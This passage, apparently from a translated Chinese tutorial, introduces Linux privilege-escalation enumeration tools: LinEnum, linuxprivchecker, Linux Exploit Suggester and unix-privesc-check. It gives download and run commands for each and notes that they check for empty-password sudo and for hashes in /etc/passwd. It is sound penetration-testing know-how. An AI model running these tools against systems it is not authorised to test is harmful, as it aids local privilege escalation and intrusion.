隐私访问:判断当前用户是否能够用空口令使用sudo命令,root用户的家目录能否访问。

系统信息:主机名,网络详情,当前IP等等。

用户信息:当前用户,列出所有包含uid/gid的用户信息,列出有root权限的用户,检查密码hash是否保存在/etc/passwd。

内核和发行版详细信息

1
Git clone https://github.com/rebootuser/LinEnum.git

http://p7.qhimg.com/t01df7648960936c036.png

一旦你从上面的链接下载了这个脚本,你就可以在终端中简单的通过./LinEnum.sh来运行它。随后它将存储所有获取的数据和系统详细信息。

http://p4.qhimg.com/t0195c16b31ed213c47.png

Linuxprivchecker


枚举系统设置和执行一些提升权限的检查。它由python实现,用来对被控制的系统提供建议的exploits。在下面的链接下载

http://www.securitysift.com/download/linuxprivchecker.py

下载完后在终端中只需要使用 python linuxprivchecke.py 命令就可以使用,它将会枚举文件和目录的权限和内容。这个脚本和LinEnum工作方式一样而且在关于系统网络和用户方面搜寻的很详细。

http://p2.qhimg.com/t013ee176f70316ab89.png

Linux Exploit Suggester


它基于操作系统的内核版本号。这个程序会执行“uname -r”来得到系统内核版本号。然后返回一个包含了可能exploits的列表。另外它还可以使用“-k”参数手工指定内核版本。

它是一个不同于以上工具的Perl脚本。使用下列命令下载这个脚本。

1
git clone https://github.com/PenturaLabs/Linux_Exploit_Suggester.git

http://p1.qhimg.com/t019df39477b9dd782d.png

如果你知道内核版本号就可以在终端中直接使用下列命令:

1
./Linux_Exploit_Suggester.pl -k 3.5

如果不知道就输入./Linux_Exploit_Suggester.pl uname –r 来获得内核版本号然后使用上面的命令并把版本号替换成你自己的。然后它就会给出建议的exploits列表。

http://p0.qhimg.com/t01ca73c04a2d36c269.png

Unix-Privesc-checker


在UNIX系统上检测权限提升向量的shell脚本。它可以在UNIX和Linux系统上运行。寻找那些错误的配置可以用来允许未授权用户提升对其他用户或者本地应用的权限。

它被编写为单个shell脚本所以可以很容易上传和执行。它可以被普通用户或者root用户执行。当它发现一个组可写(group-writable)的文件或目录时,它只标记一个问题如果这个组包含了超过一个的非root成员。

使用下列命令下载

1
Git clone https://github.com/pentestmonkey/unix-privesc-check.git

把它解压然后执行

1
unix-privesc-check standard

http://p3.qhimg.com/t01d9b664094d5bd965.png

你可以通过我提供的这些图片来更好的学习我是如何使用这些工具的。也可以使用另一个命令达到相同的目的。

1
unix-privesc-check detailed

http://p7.qhimg.com/t0126fbf37ea12fd5fd.png